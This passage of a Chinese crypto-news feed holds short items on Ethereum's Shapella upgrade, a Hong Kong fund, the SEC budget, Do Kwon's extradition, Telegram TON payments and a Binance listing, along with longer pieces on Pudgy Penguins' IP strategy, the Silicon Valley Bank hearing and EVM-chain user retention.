你将被困在一个不兼容的链上，遵循旧的规则，无法发送 ETH 或在 Shapella 升级后的以太坊网络上操作。 作为一个应用程序或工具开发者，我应该怎么做？ Shapella 不会为智能合约引入不兼容的修改。应用程序和工具开发人员应审阅升级修改，以确保任何问题都解决了，或了解如何使用新引入的功能。 也就是说，应用程序开发者应该意识到在上海升级中，SELFDESTRUCT 操作码已被弃用。虽然它的语义没有在这次网络升级中进行更改，但在后续的升级中可能会更改。更多信息请参考 EIP-6049。 为什么叫 "Shapella"？ 执行层的升级按照 Devcon 举办城市来起名，而共识层的升级则根据恒星名字来取。"Shapella" 是上海 (Devcon 2 的举办地) 和 Capella (Auriga 北方星座中最亮的星) 的结合。 哪里可以观看 Shapella 升级直播？ EthStaker 和 Ethereum Cat Herders 会组织 Shapella 升级观看派对，在升级差不多开始前直播。你可以在这里收听。 感谢所有为 Shapella 升级做出贡献的人，感谢所有新旧质押者，感谢他们帮助保护了仍处于早期阶段的 PoS 以太坊! 封面图片由 Yiran Ding 原创，由 Tomo Saito 改编。  ( 6 min )
    香港基金ProDigital Future Fund拟筹集1亿美元用于投资加密初创公司
    PANews 3月30日消息，据彭博社报道，一家名为“ProDigital Future Fund”的香港基金计划今年筹集1亿美元用于投资数字资产初创公司，现已获得至少3000万美元的资金承诺，首轮参投方包括Sunwah Kingsway Capital Holdings Ltd和Golin International Group Ltd.。该基金由亚洲私募股权公司SAIF Partners的风险合伙人Ben Ng和长期科技投资者Curt Shi领导。 ProDigital Future将瞄准早期和发展中的企业，尤其是与中国有联系的科技公司，它们正在向Web3转型。到目前为止，该基金已经投资了6个数字资产项目，包括总部位于香港的元宇宙公司GigaSpace和澳大利亚数字体育俱乐部One Future Football。  ( 4 min )
    美SEC主席寻求24亿美元拨款以追查加密领域“不当行为”
    PANews 3月30日消息，据Cointelegraph报道，美国证券交易委员会主席Gary Gensler表示，支持拜登总统为该监管机构拨款24亿美元的请求，并强调了打击加密货币行业“不当行为”的持续需求。 在为3月29日众议院拨款委员会2024财年年度预算听证会准备的证词中，Gensler表示，需要额外的资金来保持创新的步伐，并补充说，金融市场的快速技术创新导致了新兴领域的不当行为，尤其是在加密领域。解决这个问题需要新的工具、专业知识和资源。增加的资金将允许SEC再雇佣170名员工，其中大部分将在其执法和审查部门工作。  ( 4 min )
    胖企鹅CEO分享NFT商业模式设计：如何打造Web3顶流IP？
    原文：《NFT 的大规模采用会因用户热爱 IP 而来：胖企鹅 CEO 分享 Web3 IP 的商业模式设计》 作者：starzq、Ruby Wang TL; DR Luca Netz 作为 pudgy penguins（后文统一称「胖企鹅」）的 CEO，并非胖企鹅的创始人。22 年 4 月，他以 250 万美金（当时 750ETH）价格买下了这个 PFP 项目。一年以来，胖企鹅的交易量和地板价都有了稳定的增长。尤其最近 1 个月，胖企鹅的地板价一度 flip 了多个蓝筹项目，占据 Blur 首页推荐。 Luca 带领团队究竟做对了什么？有那些独特的思考？ 出于对其项目运营的好奇，我认真研究了他近期的访谈，梳理他对打造 IP 商业模式的思考，同时也谈谈我的看法。 * 声明：本文作者未曾持有 Pudgy Penguins/Lil Penguins 系列 NFT 近一年来胖企鹅的地板价数据表现 关于 Luca Netz 虽然非常年轻，24 岁的 Luca 已经是个连续创业者。 成长于穷困的家庭，儿时的他和妈妈有近 10 年时间无家可归，经常需要跨国搬家并借住在朋友们的客厅。他不得已在 16 岁高中辍学后，开始在洛杉矶做生意。先是在仓库经营派对赚钱，然后加入了一家销售门铃的创业公司 Ring Doorbell，从那儿开始找到了自己擅长的领域：通过社交媒体与网红（KOLs）销售商品。Luca 成了典型的 drop shipper，即通过与网红们合作，处理背后的商品供应链，并直接从品牌销售到消费者的电商卖家。他曾打造过不少爆款，包括 gel blaster 的玩具枪，不仅在线取得千万美金的销售成绩还打入了全美沃尔玛（感兴趣的可以看 YouTube 上的测评视频）。 Gel Blaster 网红爆款在美国亚马逊的销售图 二、商业模式 Yuga Labs 的特殊性：连续空投在熊市行不通 Luca 认为，Yuga Labs 的成功，在牛市推出是一个不可忽视的因素。其他项目是否可以一波波地新发，给持有者持续空投？如果项目的地板价没到 20ETH，那子系列的价格可能只在 0.5E 左右。不仅没多大意义，而且还会稀释整个项目的供给。并且在熊市，这种增发新系列的方式也行不通。 很多 web3 的持有者在今天想要的主要是交易价值（transactional utility），他们希望价格上涨，free money，拿到空投的那种喜悦。我当然也想给我的社区这些；但是同时我们也得清醒地认识到这是凭空造物（create things out of thin air）或者我们所说的「庞氏」。 想要赢得成功，就需要构建一个可持续的，可增长的收入来源。之前 NFT_GOD 也分享过，公司需要建立在超越 NFT 的事物上。 一方面，Luca 清醒的认识到，靠版税和新发都很难在熊市中 work。 以太坊上的版税是我无法控制的变量——上个月胖企鹅可能靠版税赚了 50 万美元，下个月赚 5 万美元。但这不是我的错，而是因为某种宏观经济条件对流动性的影响。 另一方面，PFP 的终局是 IP，根据 2020 年全球最赚钱的 25 个 IP 的收入来源，实际上 IP 的主要收入方式为衍生品销售、游戏、 影视票房三大类，其中衍生品与游戏可以说是 IP 变现的两大引擎。 可以看到，宝可梦至 1996 年以来的 24 年收入近 1000 亿美元，说明 IP 的天花板是非常高的 The World’s 25 Most Successful Media Franchises NFT 头部项目里，Yuga Labs 主要选择了游戏方向，同时收购的 10KTF 也会与品牌实体结合以商品做变现；Azuki 在去年推出 PBT 协议和 Ambush 的联名，也在探索实物商品与数字体验结合变现的道路。 Luca 选择了 IP 衍生品，他从接管胖企鹅开始，就着手操作 IP 授权和商品企划相关事宜，同时与用户创造情感连接。 目前的阶段，数字收藏品（digital collectibles）并不是大众用户每天参与并且有情感互动的。我们有一天会破圈到日常大众，但是目前显然还没有。从营销和消费者行为角度，品牌创造尽可能多的高频用户接触点非常重要。我如何可以尽可能多地触达你，让你留下记忆，创造情感连接？比如你通过网上的动图，或者朋友送给你的企鹅玩具，或者零售店里的企鹅形象了解到我们的品牌，那你就更有可能成为我们的一员。 所以胖企鹅打算怎么做？我总结大致的变现思路： ToB 合作授权先行，ToC 提升品牌影响力，最终提升直接销售占比。 先利用最初的全网社交媒体影响力和曝光，用 ToB 的授权打开局面，在线下零售店与合作网站上销售胖企鹅 IP 的商品。好处在于可以先拿到部分收入，也降低最初供应链，渠道铺设等投入成本，同时扩大了品牌商品的触点。在 ToC 方面，团队聚焦提升品牌影响力，提升全网对 IP 的好感度。当长期靠自有渠道与社区影响力做 DTC 销售的时候，能够有效降低降低营销成本，提升转化。 具体在运作上，胖企鹅有些不错的巧思，总结以下三个出彩点： 胖企鹅在社交媒体上的表现是可圈可点的。除了 Twitter 的 10 万粉丝，值得注意的是团队花了不少精力在 web2 的平台上。 Instagram 上有 36 万粉丝，以每日更新小企鹅可爱的内容获得了不少评论，有些小动画甚至有 40 万的赞。像这样的互动，很容易与广泛年轻用户产生联结。 胖企鹅 Instagram 官方账号 另外在 Giphy，一个支持所有社交媒体分享 Gif 的平台，胖企鹅应该是唯一官方建立了品牌账号，并获得 2K 的 gif 动图上传与 20 亿次跨平台浏览量的 NFT 项目。我翻了下几乎没有太多 web3 项目官方在 Giphy 上，除了像无聊猿，BEANZ 等有不少是社区上传的。Nike，Starbucks 品牌也有自己的 Giphy 账号，浏览量目前和企鹅在一个数量级上。 Giphy 由于对 Giphy 不够熟悉，我还去问了 ChatGPT： 短平快的内容先行，利用影响力做授权变现 Luca 说他很认同推特上一个帖子的评价，「胖企鹅可以看成是 NFT 届的 doge」。 他思考这种相似之处是 meme 导向，而他要做的是让大家可以到处传播这些 meme。比如选择 Giphy，好处在于它已经集成了很多大的 web2 平台尤其是 Twitter，梗图无处不在，用户 UGC 的力量可以方便地将 IP 渗透到互联网各个角落。 社交媒体的作用更像是转化漏斗最上一层的背景信息，让大家熟悉这个品牌并种草。比如在美国，使用 Giphy 的用户中，年龄在 18-29 岁之间的占比最高，达到了 37%。同时如果他是一个 web3 圈内人，现在收到妈妈或者女朋友给他发带有企鹅形象的 gif，他们就知道了（项目方在做事！?）Luca 认为，Gif 梗图这招尤其对这些人的胃口，增加了他们对项目的好感度，并可能将其转化成为企鹅的拥护者。 当然最终，社交媒体主要是服务于品牌传播而非直接变现渠道。目前这些曝光数据，年轻人活跃的互动行为是团队作为和授权商与内容制作工作室谈判的筹码。这类似国内潮玩 IP 的启动策略，靠一些可爱的形象和短平快的内容让大家先对这个形象和部分角色有好感。而不是一上来就花费巨资做长线内容，再依靠有故事的动画剧集内容延长角色的生命力做 IP 的长周期变现。 据悉，胖企鹅最近已经在推进商标注册，涉及北美的糖果，零食，漫画书，在线社交媒体等多个垂直品类，为品牌的长期发展做准备。 以下推文可以参考：https://twitter.com/NeerMcD/status/1638152037299810306?s=20 读到这里，你可能会问：这都是 web2 传统的 IP 变现方式，那和 web3 以及 NFT 社区有什么关系呢？ Luca 认为 web3 项目应该要利用好 NFT 不能被忽视的一个独特优势——抓住 5000-10000 人的注意力，并且让他们成为你品牌的支持者。在最初研究各个 NFT 头部项目时，他发现 BAYC 是做得最好的，因为他们让最初的持有者富有，而这会构建社区的信任基础，并且使得社区成员成为项目的拥护者，自发推动项目的成长。5000 人不是一个小数目，可能你建设一个上亿的生意（如果有强大的 5000 个传播者）也够了。人们会支持你，因为这与持有 NFT 利益相关。 因此回到胖企鹅的业务，无论 IP 成长为什么形态：一个游戏，TV show 还是实体玩具，能够把业务累积的价值回馈给 NFT，保持核心社区的强大是非常重要的。 在具体的商务安排上，胖企鹅目前探索了两种授权模式： 方案一：少部分持有人的形象授权实物生产，商业收入分成 Luca 称胖企鹅是第一个从社区征集形象做实物授权的项目方，之前 Doodles 和 BAYC 也做过 figure 和潮玩，但是完全用了项目方自持形象。他比较理想地希望形象用社区持有者的，然后收入与他们分配。但是当真的实操了才发现，原来之前没有项目这么做的主要原因是法务上真的很棘手。比如上，怎么解决持有人授权 NFT 后又交易的问题，永久性的授权（perpetuity）是很难的，因为需要锁定这个 NFT 的流动性。 后来团队换了种方式试图解决这个问题。使用 holder 的 NFT 资产以预付款 + 非排他性的合同条款来解决： 在这个模式里，胖企鹅团队负责媒体宣传，商品设计和渠道合作等。唯一的问题在于这种操作比较难规模化，而且目前也没有公开信息可以查到持有人的收益与预付款信息（期待未来有链上方案）。 胖企鹅分别在去年的 9 月与今年 2 月宣布与玩具销售与授权的公司 PMI 和 Retail Monster 达成合作，将推出不同系列的玩具商品，其中一些包含数字体验。目前这些商品都还没有问世，因此价格与销量也暂时没有数据。 有一个长推总结所有的玩具合作与实物样品。 方案二：大部分形象授权社交媒体曝光，共同打造品牌知名度 以方案一的授权方式无法照顾到所有 8000+ 个 NFT 企鹅形象，至少 5 年内不可能。因此 Luca 的思考是大部分企鹅形象主要授权团队来做社交媒体曝光。Instagram 官号每天发一个不同的企鹅的图，Giphy 上，每周发布 100 个 Gif，每周在社交媒体上就曝光 107 个企鹅，每年就是 6000+ 个。 不同的曝光数据是否会影响到 NFT 的交易行为？或者，最后是不是可以给每个企鹅曝光的分成呢？团队希望靠规模化运作来探索这样的形式。 Luca 对胖企鹅的长期目标： 创建世界上第一家伟大的 web3 IP 公司；成为第一个全球公认的品牌和 IP 之一。 他认为 NFT 成功的必要条件是有 IP 通过起源于 NFT 而发家成功，这点我深表同意： 如果不是我，也需要有人来赢得这场战斗，并征服这个垂直领域，在我看来，我们的圈子才会真正受到重视。希望到今年年底我们毫无疑问地成为 Top3 的项目。 Luca 认为，真正会塑造 web3 和 NFT 的这些人是现在 20 多岁的年轻人。 像我这样的年轻一代，成长在移动互联网时代，我们在社交媒体增长与建立用户联结上会比那些资深内容行业的人有优势。我们的核心能力并不是 storytelling 和大的世界观的架构，这是大的制片工作室擅长的地方。 我的思考是，我们做好我们擅长的，让我们创造一个巨大的差距。然后他们会来找我们做他们最擅长的事情，我们可以将彼此擅长的事情融合，去建立合作伙伴关系。 就像 BAYC 的创始人都没有开发过游戏，他们玩游戏但并不了解制作游戏；但他们建立了如此大的品牌和如此多的影响力，以至于游戏开发商来到他们面前说，嘿，我们会为你打造你的游戏，BAYC 也可以拿到很好的条件。 同时，他也谈到，关于故事和角色开发，已经与一些大的工作室聊过。但是目前的交易条款还不太平衡，显然这些工作室没有给出满意的报价。他不希望长期在非常重要的一个营收垂直品类（影视制作）上为了现在能够达成合作而以很低的金额让步。 Luca 希望向华纳和迪士尼以及所有这些主要的电影公司展示，web3 IP 可以从他们那里夺取市场份额： 如果我们可以从他们那里夺取市场份额，他们将在这个领域派遣他们的精兵强将，因为现在只是试水，他们派的人和投入的资源显然不是最好最核心的。我期待他们投入最好的 IP 和制作能力到 web3 里来。 非常有战斗力的一个年轻 CEO。 所以，接下来要进入 web3 的千万和上亿的用户，他们会从哪里来？ Luca 不相信 web3 通过赞助某个比赛，logo 打到广告大屏幕获得大规模的应用； 认为 NFT 会获得大规模采用是来自于用户对 IP 的热爱。 因为如果这些 NFT 不是角色，那只是区块链上的生成图片，只有很少量的 NFT 能够成功。用户将通过想要支持一个他们相信其愿景的品牌并拥有与该品牌价值一致的激励机制来到 web3； 他们真的会成为品牌的拥护是因为他们喜欢一个角色，和喜欢那个角色背后所传达的信息。我坚信我们要做的是为之后「星球大战」和「哈利波特」等 IP 打开闸门。 附：参考资料 采访视频 Luca Netz: Can Pudgy Penguins Onboard The Masses? l Overpriced JPEGs #142 Luca Netz：胖企鹅的新主人 Luca Netz 个人介绍 Gel Blaster Amazon 销售店铺 胖企鹅最近在推进商标注册 全球最赚钱的 25 个 IP（2020 年度版） 2022 年 PMI 玩具合作时，胖企鹅允许 holder 提交授权的通知 胖企鹅官网 关于一系列玩具合作样品的长推汇总  ( 7 min )
    黑山当局：美国对Do Kwon的引渡要求早于韩国，但尚无法判断哪方优先
    PANews 3月30日消息，据韩联社报道，黑山司法部部长Marko Kovac在记者会上表示，已证实美国已在韩国之前要求引渡Terraform Labs首席执行官Do Kwon。据悉，美国在黑山设有大使馆，而韩国在黑山没有大使馆，韩国系通过其在黑山邻国塞尔维亚设置的大使馆沟通Do Kwon引渡事宜。 Kovac部长解释说：“Do Kwon将被引渡到哪个国家取决于罪行的严重性、罪犯的国籍和引渡请求的日期，现阶段很难说两国哪个优先。如果Do Kwon等人因护照造假案在黑山被判刑，服完刑期后才可执行引渡。无论权去哪个国家，引渡都不可避免地会被推迟。”  ( 4 min )
    硅谷银行首场听证会：有史以来速度最快的银行挤兑事件
    作者： 李爱琳 来源：新浪财经 [ 截至2022年底，硅谷银行存款总额为1750亿美元，如果储户最终在两日之内提走1420亿美元，将占到该行存款总额的81%。 ] 当地时间3月28日，美国国会参议院银行委员会就美国区域银行倒闭事件举行首场听证会，美联储副主席巴尔（Michael Barr）、美国联邦存款保险公司（FDIC）主席格伦伯格（Martin Gruenberg）以及美国财政部国内金融事务副部长梁（Nellie Liang）出席并接受了议员们近三个小时的质询。 本月10日，硅谷银行在遭遇挤兑之后宣布倒闭，成为美国历史上第二大银行倒闭案，仅次于在2008年全球金融危机中关闭的华盛顿互惠银行（Washington Mutual）。从上述银行公告“爆雷”，到FDIC正式接管，再到破产关闭，前后不足48个小时。 参议院银行委员会主席布朗（Sherrod Brown）在听证会开场致辞时表示：“在风投人士和社交媒体的推波助澜之下，不到一天时间，硅谷银行储户就从该银行提走420亿美元，创造了有史以来规模最大、速度最快的银行挤兑事件。” 巴尔在听证会上表示，硅谷银行挤兑始于9日下午，此前该行尝试通过出售证券组合、股权融资方式筹资，以改善其流动性状况，不料吓坏市场，结果适得其反。储户因担忧未投保存款蒙受损失，最终于9日当天从银行提取超过420亿美元，只是，这一规模相较10日还是相形见绌。 “次日一早，硅谷银行告知我们，基于储户提出的取款要求，资金流出规模将大得多，预计当天合共1000亿美元存款将会撤出。”巴尔说。 截至2022年底，硅谷银行存款总额为1750亿美元，如果储户最终在两日之内提走1420亿美元，将占到该行存款总额的81%。资金的迅速出逃表明，当社交媒体加剧恐慌情绪，加之网上银行允许快速交易，银行挤兑的发生速度可以想象有多快。 巴尔认为，硅谷银行的倒闭是管理不善的典型案例。他列举了该行的几点失误，例如未投保存款比例很高，证券投资组合损失严重。“硅谷银行之所以倒闭，缘于该行管理层未能有效控制利率上行和流动性风险，甚至在其崩溃前的几个月里没有首席风险官一职。” 格伦伯格在接受质询时表示，该行存款过于集中于单一客户。“前十大储户的存款高达133亿美元，这是一个庞大的数字，其客户包括流媒体公司Roku等大型公司，仅Roku在该行就存有大约5亿美元资金。” 施罗德投资（Schroders）在发送给第一财经记者的报告中表示，作为一家规模较小的地区银行，硅谷银行在资本和流动性方面的要求，比起大型银行及系统重要性银行要低。它并没有现行对冲机制，以管理与利率上升相关的风险，最终致其破产。 其实早在2021年底，硅谷银行管理缺陷就初露端倪，美联储监管人员发现该行涉及压力测试、应急资金和流动性风险控制等六项指标存在不足；2022年5月，硅谷银行被指董事会监督不力、风险管理薄弱和内部审计职能不足；同年夏季，硅谷银行管理评级遭到下调，此举意味着监管者已经发现了该银行的“管理不善”问题。 议员在听证会上质疑美联储监管不力，未能在风险爆发前采取更多行动迫使硅谷银行做出改变。巴尔表示，其本人直至今年2月中旬硅谷银行倒闭前几周才意识到问题的严重性。他解释称，解决问题不是监管机构的工作，而是银行高管和董事会的职责。 区域银行危机令当局重新审视五年前通过的一项放松银行监管法案。 2018年3月，前总统特朗普签署生效了一项新法案，资产规模低于2500亿美元的银行无需通过美联储的年度压力测试，也不必向美联储提交有关破产后如何清算的“生前遗嘱”。该法案正是由召开本次听证会的参议院银行委员会提出，当时支持者认为，上述法案能够刺激信贷、促进美国经济，反对者则认为这将增加金融系统风险。而根据2010年通过的金融监管改革法案《多德-弗兰克法案》，资产超过500亿美元的银行必须参加美联储的年度压力测试。 施罗德投资对第一财经表示：“2018年通过的这项法案放宽了对美国中小型银行的监管，如若监管更为严格，或许可以在事件恶化至危机级别之前，就摒除一些风险。”该机构表示，鉴于较小型银行所受监管较少，其他银行会否面临类似问题仍是一项隐忧。 巴尔在听证会上建议，有必要对资产超过1000亿美元的银行施加更为严格的资本和流动性标准，美联储将通过多种情景加强对银行的压力测试，并向大银行提出长期债务要求。 他的这一表态也得到了出席听证会的格伦伯格以及梁的支持。格伦伯格认为，资产规模逾千亿美元的银行影响金融稳定，应获得额外关注，特别是在资本、流动性和利率风险方面；梁也表示：“我们必须确保银行的监督和监管政策适合今天面临的风险和挑战。” 同日，美国总统拜登在接受采访时表示，白宫已尽其所能运用现有机制来处理区域银行危机，相信行业压力正在得到缓解，如有必要，白宫的应对措施还将陆续涌来。不过，他也表示，目前尚不确定针对这一局面的立法能否在国会获得通过。“我不确定在立法上会否作出很大改变，我们也在考虑这个问题。”拜登说。 此前，拜登要求国会废除放松银行监管法案，并对管理不善导致银行倒闭的银行高管实施更为严厉处罚的措施。不过，由于共和党人控制着众议院，这些举措的推进预计将会遭遇坎坷。  ( 4 min )
    黑山法院驳回Do Kwon针对其拘留时间被延长的判决提起的上诉
    PANews 3月30日消息，据KBS NEWS报道，黑山波德戈里察法院驳回了Terraform Labs首席执行官Do Kwon对法院延长拘留时间的裁决提出的上诉。该法院解释了驳回Do Kwon上诉的原因，称“没有理由相信他没有逃跑的风险，因为他是一名仅暂时居住在黑山的外国人。” 此外，当地调查机关没收了Do Kwon持有的多本护照，其中部分护照姓名不同，没收理由是因为其被列入国际刑警红色通缉名单。法院补充称：“这意味着如果Do Kwon和他的同伙获释，他们可以随时轻松离开黑山。” 此前消息，法院决定将Do Kwon拘留时间延长30天。Do Kwon对此提出上诉，其律师称拟将护照造假案上诉至最高法院。目前，韩美双方均寻求将Do Kwon引渡。 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 4 min )
    Telegram现已支持使用TON代币购买高级订阅服务
    PANews 3月30日消息，据Bitcoinist报道，Telegram的开发人员推出了一项由TON区块链支持的新加密功能。从今天开始，该平台的用户可以通过用户名拍卖平台Fragment使用TON代币购买Telegram高级订阅服务。  ( 4 min )
    币安创新区将上线Radiant Capital (RDNT)
    PANews 3月30日消息，据官方公告，币安宣布在创新区上线Radiant Capital (RDNT)，并将于3月30日15:30开放RDNT/BTC、RDNT/USDT、RDNT/TUSD现货交易对。 据悉，Radiant Capital是一个去中心化跨链借贷产品项目，用户可以把资产抵押在市场的主流链上，然后跨链在其他链上进行借贷。RDNT是项目的应用代币，用以参与流动性挖掘和治理。  ( 4 min )
    6大EVM生态运营策略分析：谁是以太坊用户外溢的最大赢家？
    撰文：Ally Zach，Messari 编译：BlockTurbo 2022 年是 Layer2 叙事全面升温的一年，取代了竞争激烈的 Layer1 格局。 Arbitrum 和 Optimism 等吸引了数十万忠实用户，并创造了蓬勃发展的 DeFi 生态系统。由于这些链中的每一个都试图在更广泛的加密环境中开拓自己的位置，因此可以说它们创建了一个测试，可用于确定哪些用户获取策略最有效。 由于多起黑天鹅事件，各大公链生态在 2022 年都遭遇了重大挫折，整个行业的活动和用户群都在下降。然而在 2022 年下半年，随着 FTX 崩盘，用户开始回归 EVM 链。今天，我们就主要分析六大 EVM 链：ETH，BNB，Polygon，Arbitrum，Avalanche，Optimism。 以太坊和 BNB 拥有两个最大的加密用户群，分别拥有 2.26 亿和 2.74 亿累计独立用户。BNB Chain 在过去 12 个月中的平均月增长率为 6%，但以太坊的新用户采用率平均下降了 5%。 以太坊用户增长停滞的部分原因在于其 L2 扩展解决方案 Arbitrum 和 Optimism 的普及。在过去 12 个月中，这两个生态系统的活跃地址增长了近 5 倍，这得益于 20% 的用户月环比增长。此外，这两个生态系统比任何其他生态系统留住的用户都多，12 个月的留存率为 30-40%，而行业平均留存率低于 20%。 虽然成熟的 EVM 链系统的用户群组规模通常随着时间的推移而减少，但 Arbitrum 和 Optimism 却在稳步增加。最大的用户群组规模出现在最近几个月，这表明这两个网络可能会继续增长——特别是如果留存率保持不变的话。 虽然最近 L2 网络活动有所增加，但替代的 L1 因其在获取和留住用户方面的熟练程度而保持相关性。从历史上看，一些项目发现专注于利基行业可能是一种有利可图且可行的长期战略。通常，建立最强大的行业生态系统的网络享有更高的保留率。 然而，找到利基并不能保证长期成功，因为用户忠诚度可能无法预测。当应用程序跨链分叉和重新部署时，用户会毫不犹豫地跳槽。此外，一些加密叙事可能会变成某种时尚，随着利益的变化，投资价值会在一夜之间消失。 在 L2 生态系统时代，重要的是要确定哪些特定的区块链生态系统展示了成功的用户获取和留存模式，以及哪些采用了无效的策略。为了进一步评估每个 EVM 链的可持续性，应评估在不同领域层面，这些策略对留存参与的影响。 当谈到链上交易时，大多数可以分为四大类： 上述所有六个 EVM 链在这些领域中的每一个领域都有一定程度的存在。除了查看纯交易和用户数量之外，我们还可以通过查看新用户的采用率和随时间的保留情况，更深入地了解每条链上不同领域的健康状况。 在过去一年中，以太坊、Polygon、Avalanche 和 Binance Smart Chain 等成熟 EVM 链的 DEX 的初始用户群有所减少。减少的部分原因可能是多次黑天鹅事件以及由此导致的对加密生态系统失去信心。此外，来自 Arbitrum 和 Optimism 上新兴的 DeFi 生态系统对 的竞争可能已经从基础链上夺走了用户市场份额。 在这些成熟的 EVM 链中，以太坊的长期用户保留率往往高出约 5%，这主要是因为其原生 DEX 的流动性更深。例如，Uniswap 已部署在大多数其他 EVM 链上，并且比任何其他应用程序被分叉的次数都多，从而创建了 SushiSwap、Trader Joe 和 PancakeSwap。尽管其顶级 DEX 部署在了其他链上并被分叉，但以太坊已与其社区建立了足够的信任，继续吸引比同行更多的流动性和交易量。 以太坊的成功在很大程度上来自其强大的 DeFi 生态系统。它拥有一些在交易、借贷、质押和流动性挖矿方面使用最广泛的应用程序。许多这些应用程序各自的代币和稳定币构成了一些最深的流动资金池——不仅在以太坊原生应用程序上，而且在更大的加密环境中。 从根本上说，DEX 依赖于周围的生态系统来生产满足交易需求的资产；还依赖已建立的生态系统，如以太坊，高质量的新项目会优先选择以太坊而不是其他新兴的生态系统。 与竞争对手相比，Arbitrum 和 Optimism 的长期用户保留率高于平均水平。他们的成功可能归功于他们迅速扩展的 DeFi 生态系统和以 DeFi 为重点的激励活动。在 Arbitrum 的案例中，最活跃的 DEX 池（以压倒性优势）来自其顶级衍生品交易平台 GMX 和 Gains Network。另一方面，在 Optimism Quests 奖励计划结束后，Optimism 的顶级矿池已经屈服于大部分非原生资产。 Arbitrum 顶级 DEX 矿池的分布可能表明其新兴的 DeFi 生态系统类似以太坊的发展，用户在整个生态系统中积极参与使用原生代币，这有力地表明近期的活跃度将持续。 对于 Arbitrum 和 Optimism，他们最大的群组规模也是最近产生的。如果他们能够将高于平均水平的保留率再维持几个月，他们可能会看到进一步的显著增长。然而，如上述每条链的下降趋势所示，可能很难保持这些保留率。为了继续增长，每个链都需要在全球 DeFi 生态系统中建立一个利基市场，并继续推出新的原生项目。 由于其高频交易性质，衍生品 DEX 在低 gas 网络上蓬勃发展。在 EVM 链中，Arbitrum 和 Optimism 占据了大部分交易份额，尽管 Polygon 和 Avalanche 远远早于它们进入这一领域。目前，L2 在其衍生品平台上的长期用户保留率平均高出 10%，并且新用户群也在迅速增加。 在 Optimism 的任务活动期间，Perpetual Protocol、Kwenta 和 Pika 等原生永续交易平台迅速积累了永续交易商。然而，活动一结束，这些激励平台上的大多数交易员就完全消失了。为了让 Optimism 有机地占据永续交易量份额，它将不得不依靠独特的模型和市场，例如 Synthetix（Kwenta）的新永续交易产品。 与 Optimism 相比，Arbitrum 在过去一年中保持了稳定且可以说更有机的用户增长。每增加一个衍生品平台，它的新用户就会增加。在 Optimism 的任务活动结束后，Arbitrum 占据了 EVM 链上约 80% 的 衍生品交易者的主导地位。 GMX 作为 Arbitrum 上的单一衍生品交易平台开始受到关注，但生态系统只有在竞争出现后才能起飞。由于衍生品交易员已经在 Arbitrum 上，因此在相似的平台之间切换几乎没有摩擦，从而创造了一种健康的竞争形式。 考虑到这一点，新兴 DeFi 生态系统之间的关键区别可能是多样化的竞争格局，它在更大的生态系统中既可组合又可被广泛采用。例如，像 Gains 和 GMX 这样的衍生品平台分别存在于 Polygon 和 Avalanche 上。但是，直到它们最近在 Arbitrum 和 Optimism 的热潮，他们才获得显著的吸引力。此外，一旦 GMX 的流动性代币 (GLP) 被接受为整个 Arbitrum 生态系统的抵押品，它就增强了提供流动性的效用，并使 GMX 能够吸引更大的交易者。 随着这些新兴链的不断发展，它们应该寻求在更大的 DeFi 生态系统中建立可持续的利基市场，以发展持久的用户保留率和持续的收入流。 在所有 EVM 链中，借贷用户留存率在 1-3 个月内急剧下降，与其他领域相比，借贷用户的长期留存率通常较低。一般来说，用户借入资产的频率与交易频率不同；相反，借贷活动与市场的高波动性相关。用户在适合的时候寻求杠杆作用，并且通常不希望长期持有资产。 跨链的借贷平台见证了新用户的减少，这在一定程度上可以归因于替代形式杠杆的兴起。例如，随着衍生品在 Arbitrum 和 Optimism 等链上越来越受欢迎，用户可以使用高杠杆进行更频繁的交易。事实上，在过去一年中，衍生品交易量与借贷平台借款人之间存在负相关关系。 似乎衍生品会持续发展，特别是考虑到他们最近在 L2 上的活跃度。借贷应用程序需要创新的方式来吸引用户以保持竞争力。从历史上看，成熟链上的大部分借贷需求都是由该链的原生代币抵押的。对于新兴市场，原生代币需要经过超积累和抛售阶段才能成熟，然后才能大量采用贷款。一旦它们各自的代币发布尘埃落定，Arbitrum 和 Optimism 的市场可能会在未来几个月开始看到更快速的采用。 一旦市场从稳定的横盘时期转移，成熟市场的贷款活动应该会回升。此外，新的应用程序创新以及抵押品和债券发行的进一步扩展可能会为各自的市场注入一些活力。 虽然自 2021 年 NFT 热潮以来，NFT 交易整体处于稳步下行趋势，但熊市却催生了一波创新浪潮。它带来了新的市场机制，甚至将 NFT 用例扩展到静态图像之外。去中心化的社交媒体、链上身份和新形式的游戏内资产在过去一年中出现，在不同的链上培育价值。 以太坊一直是许多病毒式蓝筹 NFT 系列的所在地。它也是 OpenSea 和 Blur 等领先 NFT 市场的原始链，这两者都导致了其更高的长期用户采用率。 虽然以太坊不是第一个支持 NFT 的链，但它确实承载了从 2021 年开始的 NFT 繁荣周期。 以太坊蓝筹股系列，如 CryptoPunks、BAYC 和 Pudgy Penguins，在加密货币领域建立了高价值，这很可能是由于它们处于早期阶段、隐含的社会地位和猖獗的病毒式传播。蓝筹 NFT 集合约占以太坊顶级 NFT 市场总交易量的一半，导致其他链的全球交易量相对较高。 此外，以太坊拥有比第二大竞争对手 Polygon 多 10 倍的零售 NFT 交易商。总的来说，这些蓝筹收藏使得用户在相对高昂的 gas 费用的情况下不断返回以太坊，从而导致用户长期留存率很高。 从整个 NFT 市场交易来看，Blur 和 OpenSea 等以太坊市场在 EVM 链中以近 100 倍的交易量领先。新进入者 Blur 牢牢抓住了其在以太坊 NFT 交易商中的份额，保留了该链总销量的 62%。它的成功在很大程度上归功于新颖的高级交易功能和持续的空投机制。此外，Blur 的用户保留率比其核心竞争对手 OpenSea 平均高出 15%，这可能是由于其最低的交易费用和空投。 虽然以太坊发现其产品市场适合高价值收藏品，但 Polygon、Avalanche 和 BNB 等整体 gas 费较低的链是低价值 NFT 收藏品的发源地。当 gas 价格远远低于实际资产值钱时，交易员转手 NFT 会更有效率。 Arbitrum 已开始跟上这些更成熟链的步伐，其大部分活动来自 Treasure Trove 游戏市场。另一方面，Optimism 尚未看到任何实质性的 NFT 牵引力。迄今为止，Optimism 的大部分激励活动都围绕着 DeFi 应用程序，但 Galxe 的凭证除外，这可能解释了其当前 NFT 市场采用滞后的原因。 由于游戏内资产的高频交易性质，游戏应用程序需要高吞吐量和最小的 gas 成本。便宜的 gas 费用和大量的游戏应用程序选择优先使用 Polygon 和 BNB， 成为 Web3 游戏玩家的 EVM 链中的目的地。目前，这两条链上都拥有 300 多种不同的活跃游戏应用程序，并分别保留了约 50% 的 EVM 游戏玩家。 